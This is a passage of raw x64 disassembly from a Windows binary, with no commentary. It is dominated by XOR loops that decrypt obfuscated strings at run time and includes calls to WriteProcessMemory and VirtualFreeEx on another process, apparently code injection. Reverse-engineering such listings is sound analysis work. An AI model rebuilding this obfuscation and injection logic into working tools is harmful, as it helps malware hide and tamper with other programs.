movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400152e0
mov rcx, r10
jmp 0x14001650c
mov byte [rbp + 0x7b], 0
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x7b]
call fcn.140032660
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140015357
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1c80]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1c80]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1c80]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x1400158f7
mov byte [rbp + 0x7c], 0
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0x7c]
call fcn.140032d80
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x1400154c1
mov r8d, edi
cmp esi, 2
jl 0x14001547d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140015490
mov byte [rbp + 0x7d], 0
lea rdx, [rbp + 0xd48]
lea rcx, [rbp + 0x7d]
call fcn.140032bb0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400155f1
mov r8d, edi
cmp esi, 2
jl 0x1400155ac
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400155c0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x7e], 0
lea rdx, [rbp + 0xd58]
lea rcx, [rbp + 0x7e]
call fcn.1400329e0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140015730
mov r8d, edi
cmp esi, 2
jl 0x1400156f7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140015700
mov byte [rbp + 0x7f], 0
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0x7f]
call fcn.140032810
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140015870
mov r8d, edi
cmp esi, 2
jl 0x14001582c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140015840
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x80], 0
lea rdx, [rbp + 0x818]
lea rcx, [rbp + 0x80]
call fcn.140032770
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400158d8
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x81], 0
lea rdx, [rbp + 0x418]
lea rcx, [rbp + 0x81]
call fcn.1400326e0
jmp 0x1400164db
mov byte [rbp + 0x82], 0
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x82]
call fcn.140032f50
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14001593b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1ca0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1ca0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1ca0]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x140016009
mov byte [rbp + 0x83], 0
lea rdx, [rbp + 0x104]
lea rcx, [rbp + 0x83]
call fcn.1400338e0
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x1400159a4
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp + 0x84], 0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x84]
call fcn.140033730
mov r10, rax
cmp byte [rax + 7], 0
je 0x140015ad1
cmp esi, 2
jl 0x140015a8e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x140015ad1
mov r9, r10
mov r8d, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140015aa0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x85], 0
lea rdx, [rbp + 0xd68]
lea rcx, [rbp + 0x85]
call fcn.140033560
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140015c20
mov r8d, edi
cmp esi, 2
jl 0x140015bdd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140015bf0
mov byte [rbp + 0x86], 0
lea rdx, [rbp + 0x11a8]
lea rcx, [rbp + 0x86]
call fcn.140033390
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140015d60
mov r8d, edi
cmp esi, 2
jl 0x140015d22
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140015d30
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x87], 0
lea rdx, [rbp + 0x12d8]
lea rcx, [rbp + 0x87]
call fcn.1400331a0
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x140015ed1
cmp esi, 2
jl 0x140015e8f
mov edx, edi
mov rcx, rax
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140015db0
jmp 0x140015ed1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140015ea0
mov byte [rbp + 0x88], 0
lea rdx, [rbp + 0xd78]
lea rcx, [rbp + 0x88]
call fcn.140032fd0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140015311
mov r8d, edi
cmp esi, 2
jl 0x140015fc2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140015fd0
mov rcx, r10
jmp 0x14001650c
mov byte [rbp + 0x89], 0
lea rdx, [rbp + 0x124]
lea rcx, [rbp + 0x89]
call fcn.140033960
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140016041
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1cc0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1cc0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1cc0]
call fcn.1400b3040
cmp ebx, 0xf
jne 0x14001651f
mov byte [rbp + 0x8a], 0
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x8a]
call fcn.140034060
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400160ca
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp + 0x8b], 0
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x8b]
call fcn.140033fe0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400160f6
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x8c], 0
lea rdx, [rbp + 0xd88]
lea rcx, [rbp + 0x8c]
call fcn.140033e10
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140016240
mov r8d, edi
cmp esi, 2
jl 0x140016202
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140016210
mov byte [rbp + 0x8d], 0
lea rdx, [rbp + 0x11b8]
lea rcx, [rbp + 0x8d]
call fcn.140033c40
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140016380
mov r8d, edi
cmp esi, 2
jl 0x140016342
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140016350
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x8e], 0
lea rdx, [rbp + 0xd98]
lea rcx, [rbp + 0x8e]
call fcn.140033a70
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400164c1
mov r8d, edi
cmp esi, 2
jl 0x14001648a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140016490
mov byte [rbp + 0x8f], 0
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x8f]
call fcn.1400339e0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140016509
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov qword [rsp + 0x20], rdi
mov r9d, 0x1000
mov r8, r15
mov rdx, r13
mov rbx, qword [rbp + 0x208]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov byte [rbp + 0x90], 0
lea rdx, [rbp + 0x194]
lea rcx, [rbp + 0x90]
call fcn.140034100
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400165a6
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1660]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1660]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1660]
call fcn.1400b3040
cmp ebx, 8
jne 0x140016cc5
mov byte [rbp + 0x91], 0
lea rdx, [rbp + 0x15a0]
lea rcx, [rbp + 0x91]
call fcn.1400349c0
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x140016741
mov r8d, edi
cmp esi, 2
jl 0x140016707
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
